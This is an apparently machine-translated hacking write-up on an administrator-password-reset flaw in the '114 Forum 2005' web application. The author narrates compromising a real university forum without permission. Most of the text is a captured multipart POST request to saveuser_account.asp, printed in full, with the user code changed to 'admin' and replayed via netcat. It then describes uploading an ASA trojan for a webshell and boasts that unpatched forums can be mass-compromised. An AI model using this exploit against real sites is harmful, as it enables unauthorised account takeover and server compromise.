114 Forum 2005 Official version Vulnerability Research

Key words:
"Copyright Design: Website 114"
Vulnerability Description:
Website 114 Forum 2005 edition official
/edituserdb.asp
Lack of validation of submission data and Cooikes
Causes any user to modify the Administrator password
Default Background admin/index.asp
Today, I used a machine in the next room.
Http://www.***.net.cn/xzl/bbs/index.asp
* * A forum on the website of Medical University.
Registered with a user 33221.
Then jump to/edituserdb.asp, click "Modify Registration" to start grasping the bag!
Hold the contents of the bag with Notepad as follows:
-----------------------------------------------------------------------------------------------------------
Post/xzl/bbs//saveuser_account.asp http/1.1
Accept:image/gif, Image/x-xbitmap, Image/jpeg, Image/pjpeg, Application/vnd.ms-excel, Application/vnd.ms-powerpoint , Application/msword, Application/x-shockwave-flash, */*
Referer:http://www.***.net.cn/xzl/bbs//edituserdb.asp
Accept-language:zh-cn
Content-type:multipart/form-data; boundary=---------------------------7d61e41d605f6
Accept-encoding:gzip, deflate
user-agent:mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon)
host:www.***.net.cn
content-length:2304
Connection:keep-alive
Cache-control:no-cache
Cookie:aspsessionidsctsqsab=ekmkinhaiaacmgfmkabjdbme
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtusercode"
33221
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtpassword"
33221
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtconfirmpassword"
33221
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtquestion"
33221
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtanswer"
33221
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "txtUserName"
33221
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Selsex"
Mr
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtnick"
11
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtprovince"
111
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtaddress"

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtpostcode"

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txttel"

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtmobile"

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtfax"

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtemail"

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txturl"

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "txtfile"; Filename= ""
Content-type:application/octet-stream

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtoicq"

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtdocument"

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Submit"
Modify registration Information
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "txtID"

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txttempid"

-----------------------------7d61e41d605f6--

------------------------------------------------------------------------------------------------------------
of which: "
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtusercode"
33221
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtpassword"
33221
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtconfirmpassword"
33221
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtquestion"
33221
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtanswer"
33221
-----------------------------7d61e41d605f6
”
Modify the first "33221" for "admin" to save the 11.txt text as:

Post/xzl/bbs//saveuser_account.asp http/1.1
Accept:image/gif, Image/x-xbitmap, Image/jpeg, Image/pjpeg, Application/vnd.ms-excel, Application/vnd.ms-powerpoint , Application/msword, Application/x-shockwave-flash, */*
Referer:http://www.***.net.cn/xzl/bbs//edituserdb.asp
Accept-language:zh-cn
Content-type:multipart/form-data; boundary=---------------------------7d61e41d605f6
Accept-encoding:gzip, deflate
user-agent:mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon)
host:www.***.net.cn
content-length:2304
Connection:keep-alive
Cache-control:no-cache
Cookie:aspsessionidsctsqsab=ekmkinhaiaacmgfmkabjdbme
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtusercode"
Admin
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtpassword"
33221
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtconfirmpassword"
33221
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtquestion"
33221
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtanswer"
33221
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "txtUserName"
33221
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Selsex"
Mr
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtnick"
11
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtprovince"
111
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtaddress"

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtpostcode"

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txttel"

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtmobile"

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtfax"

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtemail"

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txturl"

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "txtfile"; Filename= ""
Content-type:application/octet-stream

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtoicq"

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txtdocument"

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Submit"
Modify registration Information
-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "txtID"

-----------------------------7d61e41d605f6
Content-disposition:form-data; Name= "Txttempid"

-----------------------------7d61e41d605f6--
Here because I registered username 33221 and admin length one to, so there is no need to modify the byte length.
Then submit to the server with NC
NC www.***.net.cn <11.txt
Return prompt to modify member information successfully.
Then use the admin password to apply for 33221 password one to log in.
Of course, admin permissions, and then login backstage, click "Modify Column", upload Asa Trojan, OK, get webshll.
Looked at, the forum system has not yet been patched, can take a large number of Webshell, but I as long as the more useful to me a server, the other did not go to catch.